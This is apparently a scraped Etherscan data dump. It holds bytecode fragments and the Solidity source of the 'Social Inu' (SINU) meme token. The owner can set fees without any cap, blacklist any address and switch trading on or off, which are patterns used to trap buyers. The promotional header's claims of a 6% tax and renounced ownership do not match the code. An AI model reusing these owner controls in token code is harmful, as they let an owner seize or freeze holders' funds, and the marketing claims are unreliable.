ffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600c6020528060005260406000206000915054906101000a900460ff1681565b600b60009054906101000a900460ff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611dc3611fa9565b73ffffffffffffffffffffffffffffffffffffffff1614611e19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1090612ec3565b60405180910390fd5b6000600a5414611e5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5590613458565b60405180910390fd5b600b60009054906101000a900460ff16611ead576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ea4906134c4565b60405180910390fd5b60095442611ebb9190612f4f565b600a819055507f6ca688e6e3ddd707280140b2bf0106afe883689b6c74e68cbd517576dd9c245a600a54604051611ef29190612786565b60405180910390a1565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161208f9190612786565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561210c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161210390613556565b60405180910390fd5b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612192576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612189906135e8565b60405180910390fd5b818161219e9190612da8565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461222e9190612f4f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516122929190612786565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612310576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161230790613654565b60405180910390fd5b80600260008282546123229190612f4f565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516123d39190612786565b60405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561244f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612446906136e6565b60405180910390fd5b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156124d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124cc90613778565b60405180910390fd5b8181036000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816002600082825461252c9190612da8565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516125919190612786565b60405180910390a3505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156125d85780820151818401526020810190506125bd565b838111156125e7576000848401525b50505050565b6000601f19601f8301169050919050565b60006126098261259e565b61261381856125a9565b93506126238185602086016125ba565b61262c816125ed565b840191505092915050565b6000602082019050818103600083015261265181846125fe565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006126988261266d565b9050919050565b6126a88161268d565b81146126b357600080fd5b50565b6000813590506126c58161269f565b92915050565b6000819050919050565b6126de816126cb565b81146126e957600080fd5b50565b6000813590506126fb816126d5565b92915050565b6000806040838503121561271857612717612663565b5b6000612726858286016126b6565b9250506020612737858286016126ec565b9150509250929050565b60008115159050919050565b61275681612741565b82525050565b6000602082019050612771600083018461274d565b92915050565b612780816126cb565b82525050565b600060208201905061279b6000830184612777565b92915050565b6000806000606084860312156127ba576127b9612663565b5b60006127c8868287016126b6565b93505060206127d9868287016126b6565b92505060406127ea868287016126ec565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f840112612819576128186127f4565b5b8235905067ffffffffffffffff811115612836576128356127f9565b5b602083019150836020820283011115612852576128516127fe565b5b9250929050565b600080602083850312156128705761286f612663565b5b600083013567ffffffffffffffff81111561288e5761288d612668565b5b61289a85828601612803565b92509250509250929050565b6000602082840312156128bc576128bb612663565b5b60006128ca848285016126b6565b91505092915050565b600060ff82169050919050565b6128e9816128d3565b82525050565b600060208201905061290460008301846128e0565b92915050565b6000819050919050565b600061292f61292a6129258461266d565b61290a565b61266d565b9050919050565b600061294182612914565b9050919050565b600061295382612936565b9050919050565b61296381612948565b82525050565b600060208201905061297e600083018461295a565b92915050565b60006020828403121561299a57612999612663565b5b60006129a8848285016126ec565b91505092915050565b6129ba8161268d565b82525050565b60006020820190506129d560008301846129b1565b92915050565b6000819050919050565b6129ee816129db565b81146129f957600080fd5b50565b600081359050612a0b816129e5565b92915050565b60008060408385031215612a2857612a27612663565b5b6000612a36858286016126b6565b9250506020612a47858286016129fc565b9150509250929050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612a8e826125ed565b810181811067ffffffffffffffff82111715612aad57612aac612a56565b5b80604052505050565b6000612ac0612659565b9050612acc8282612a85565b919050565b600067ffffffffffffffff821115612aec57612aeb612a56565b5b612af5826125ed565b9050602081019050919050565b82818337600083830152505050565b6000612b24612b1f84612ad1565b612ab6565b905082815260208101848484011115612b4057612b3f612a51565b5b612b4b848285612b02565b509392505050565b600082601f830112612b6857612b676127f4565b5b8135612b78848260208601612b11565b91505092915050565b600060208284031215612b9757612b96612663565b5b600082013567ffffffffffffffff811115612bb557612bb4612668565b5b612bc184828501612b53565b91505092915050565b60008060408385031215612be157612be0612663565b5b6000612bef858286016126b6565b9250506020612c00858286016126b6565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612c5157607f821691505b60208210811415612c6557612c64612c0a565b5b50919050565b6000606082019050612c8060008301866129b1565b612c8d60208301856129b1565b612c9a6040830184612777565b949350505050565b6000608082019050612cb760008301876129b1565b612cc460208301866129b1565b612cd160408301856129b1565b612cde6060830184612777565b95945050505050565b7f4c45524332303a207472616e7366657220616d6f756e7420657863656564732060008201527f616c6c6f77616e63650000000000000000000000000000000000000000000000602082015250565b6000612d436029836125a9565b9150612d4e82612ce7565b604082019050919050565b60006020820190508181036000830152612d7281612d36565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612db3826126cb565b9150612dbe836126cb565b925082821015612dd157612dd0612d79565b5b828203905092915050565b7f4c45524332303a204d7573742062652061646d696e0000000000000000000000600082015250565b6000612e126015836125a9565b9150612e1d82612ddc565b602082019050919050565b60006020820190508181036000830152612e4181612e05565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4c45524332303a204d757374206265207265636f766572792061646d696e0000600082015250565b6000612ead601e836125a9565b9150612eb882612e77565b602082019050919050565b60006020820190508181036000830152612edc81612ea0565b9050919050565b7f4c45524332303a2043616e6e6f74207365742073616d65206164647265737300600082015250565b6000612f19601f836125a9565b9150612f2482612ee3565b602082019050919050565b60006020820190508181036000830152612f4881612f0c565b9050919050565b6000612f5a826126cb565b9150612f65836126cb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612f9a57612f99612d79565b5b828201905092915050565b6000604082019050612fba60008301856129b1565b612fc76020830184612777565b9392505050565b7f4c45524332303a204c6f73736c65737320616c7265616479206f6e0000000000600082015250565b6000613004601b836125a9565b915061300f82612fce565b602082019050919050565b6000602082019050818103600083015261303381612ff7565b9050919050565b7f4c45524332303a206275726e20616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b60006130966025836125a9565b91506130a18261303a565b604082019050919050565b600060208201905081810360008301526130c581613089565b9050919050565b7f4c45524332303a204f6e6c79206c6f73736c65737320636f6e74726163740000600082015250565b6000613102601e836125a9565b915061310d826130cc565b602082019050919050565b60006020820190508181036000830152613131816130f5565b9050919050565b7f4c45524332303a20426c61636b6c697374206973206e6f7420636f6e6669726d60008201527f6564000000000000000000000000000000000000000000000000000000000000602082015250565b60006131946022836125a9565b915061319f82613138565b604082019050919050565b600060208201905081810360008301526131c381613187565b9050919050565b7f4c45524332303a2064656372656173656420616c6c6f77616e63652062656c6f60008201527f77207a65726f0000000000000000000000000000000000000000000000000000602082015250565b60006132266026836125a9565b9150613231826131ca565b604082019050919050565b6000602082019050818103600083015261325581613219565b9050919050565b7f4c45524332303a205475726e4f6666206e6f742070726f706f73656400000000600082015250565b6000613292601c836125a9565b915061329d8261325c565b602082019050919050565b600060208201905081810360008301526132c181613285565b9050919050565b7f4c45524332303a2054696d65206c6f636b20696e2070726f6772657373000000600082015250565b60006132fe601d836125a9565b9150613309826132c8565b602082019050919050565b6000602082019050818103600083015261332d816132f1565b9050919050565b7f4c45524332303a204d7573742062652063616e64697461746500000000000000600082015250565b600061336a6019836125a9565b915061337582613334565b602082019050919050565b600060208201905081810360008301526133998161335d565b9050919050565b7f4c45524332303a20496e76616c6964206b657900000000000000000000000000600082015250565b60006133d66013836125a9565b91506133e1826133a0565b602082019050919050565b60006020820190508181036000830152613405816133c9565b9050919050565b7f4c45524332303a205475726e4f666620616c72656164792070726f706f736564600082015250565b60006134426020836125a9565b915061344d8261340c565b602082019050919050565b6000602082019050818103600083015261347181613435565b9050919050565b7f4c45524332303a204c6f73736c65737320616c7265616479206f666600000000600082015250565b60006134ae601c836125a9565b91506134b982613478565b602082019050919050565b600060208201905081810360008301526134dd816134a1565b9050919050565b7f4c45524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006135406026836125a9565b915061354b826134e4565b604082019050919050565b6000602082019050818103600083015261356f81613533565b9050919050565b7f4c45524332303a207472616e7366657220616d6f756e7420657863656564732060008201527f62616c616e636500000000000000000000000000000000000000000000000000602082015250565b60006135d26027836125a9565b91506135dd82613576565b604082019050919050565b60006020820190508181036000830152613601816135c5565b9050919050565b7f4c45524332303a206d696e7420746f20746865207a65726f2061646472657373600082015250565b600061363e6020836125a9565b915061364982613608565b602082019050919050565b6000602082019050818103600083015261366d81613631565b9050919050565b7f4c45524332303a206275726e2066726f6d20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006136d06022836125a9565b91506136db82613674565b604082019050919050565b600060208201905081810360008301526136ff816136c3565b9050919050565b7f4c45524332303a206275726e20616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b60006137626023836125a9565b915061376d82613706565b604082019050919050565b6000602082019050818103600083015261379181613755565b905091905056fea26469706673582212206ba73ff7610fd6497ccc144190e3dd626e61390511d7c6351b5896e24301078664736f6c634300080c0033
{"success": true, "error": null, "results": {}}
5,471
0x386ca9ebfd1ccb173360cb8fe32ca3a04df07bd2
/** *Submitted for verification at Etherscan.io on 2022-04-27 */ /** SOCIAL INU ($TRUTH) Born from Elon's tweet, Social Inu is the most sociable and strongest doge token out there. The chads of $TRUTH will socialize their way to Valhalla. Tokenomics 1,000,000,000 Supply 10,000,000 Max Wallet (1%) 6% Buy/Sell Tax Liquidity Locked for 30 days Ownership Renounced Website: Coming soon Twitter : Https://twitter.com/socialInu Telegram: https://t.me/SocialInu */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SocialInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Social Inu"; string private constant _symbol = "SINU"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 3; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 3; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x2132E2D46901e56eb89D8442aEe3C2ad91379512); address payable private _marketingAddress = payable(0x2132E2D46901e56eb89D8442aEe3C2ad91379512); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000000 * 10**9; uint256 public _maxWalletSize = 10000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610555578063dd62ed3e14610575578063ea1644d5146105bb578063f2fde38b146105db57600080fd5b8063a2a957bb146104d0578063a9059cbb146104f0578063bfd7928414610510578063c3c8cd801461054057600080fd5b80638f70ccf7116100d15780638f70ccf71461044d5780638f9a55c01461046d57806395d89b411461048357806398a5c315146104b057600080fd5b80637d1db4a5146103ec5780637f2feddc146104025780638da5cb5b1461042f57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027357806318160ddd146102ab57806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024357600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195f565b6105fb565b005b34801561020a57600080fd5b5060408051808201909152600a815269536f6369616c20496e7560b01b60208201525b60405161023a9190611a24565b60405180910390f35b34801561024f57600080fd5b5061026361025e366004611a79565b61069a565b604051901515815260200161023a565b34801561027f57600080fd5b50601454610293906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b3480156102b757600080fd5b50670de0b6b3a76400005b60405190815260200161023a565b3480156102dc57600080fd5b506102636102eb366004611aa5565b6106b1565b3480156102fc57600080fd5b506102c260185481565b34801561031257600080fd5b506040516009815260200161023a565b34801561032e57600080fd5b50601554610293906001600160a01b031681565b34801561034e57600080fd5b506101fc61035d366004611ae6565b61071a565b34801561036e57600080fd5b506101fc61037d366004611b13565b610765565b34801561038e57600080fd5b506101fc6107ad565b3480156103a357600080fd5b506102c26103b2366004611ae6565b6107f8565b3480156103c357600080fd5b506101fc61081a565b3480156103d857600080fd5b506101fc6103e7366004611b2e565b61088e565b3480156103f857600080fd5b506102c260165481565b34801561040e57600080fd5b506102c261041d366004611ae6565b60116020526000908152604090205481565b34801561043b57600080fd5b506000546001600160a01b0316610293565b34801561045957600080fd5b506101fc610468366004611b13565b6108bd565b34801561047957600080fd5b506102c260175481565b34801561048f57600080fd5b5060408051808201909152600481526353494e5560e01b602082015261022d565b3480156104bc57600080fd5b506101fc6104cb366004611b2e565b610905565b3480156104dc57600080fd5b506101fc6104eb366004611b47565b610934565b3480156104fc57600080fd5b5061026361050b366004611a79565b610972565b34801561051c57600080fd5b5061026361052b366004611ae6565b60106020526000908152604090205460ff1681565b34801561054c57600080fd5b506101fc61097f565b34801561056157600080fd5b506101fc610570366004611b79565b6109d3565b34801561058157600080fd5b506102c2610590366004611bfd565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c757600080fd5b506101fc6105d6366004611b2e565b610a74565b3480156105e757600080fd5b506101fc6105f6366004611ae6565b610aa3565b6000546001600160a01b0316331461062e5760405162461bcd60e51b815260040161062590611c36565b60405180910390fd5b60005b81518110156106965760016010600084848151811061065257610652611c6b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068e81611c97565b915050610631565b5050565b60006106a7338484610b8d565b5060015b92915050565b60006106be848484610cb1565b610710843361070b85604051806060016040528060288152602001611db1602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ed565b610b8d565b5060019392505050565b6000546001600160a01b031633146107445760405162461bcd60e51b815260040161062590611c36565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078f5760405162461bcd60e51b815260040161062590611c36565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e257506013546001600160a01b0316336001600160a01b0316145b6107eb57600080fd5b476107f581611227565b50565b6001600160a01b0381166000908152600260205260408120546106ab90611261565b6000546001600160a01b031633146108445760405162461bcd60e51b815260040161062590611c36565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b85760405162461bcd60e51b815260040161062590611c36565b601655565b6000546001600160a01b031633146108e75760405162461bcd60e51b815260040161062590611c36565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092f5760405162461bcd60e51b815260040161062590611c36565b601855565b6000546001600160a01b0316331461095e5760405162461bcd60e51b815260040161062590611c36565b600893909355600a91909155600955600b55565b60006106a7338484610cb1565b6012546001600160a01b0316336001600160a01b031614806109b457506013546001600160a01b0316336001600160a01b0316145b6109bd57600080fd5b60006109c8306107f8565b90506107f5816112e5565b6000546001600160a01b031633146109fd5760405162461bcd60e51b815260040161062590611c36565b60005b82811015610a6e578160056000868685818110610a1f57610a1f611c6b565b9050602002016020810190610a349190611ae6565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6681611c97565b915050610a00565b50505050565b6000546001600160a01b03163314610a9e5760405162461bcd60e51b815260040161062590611c36565b601755565b6000546001600160a01b03163314610acd5760405162461bcd60e51b815260040161062590611c36565b6001600160a01b038116610b325760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610625565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bef5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610625565b6001600160a01b038216610c505760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015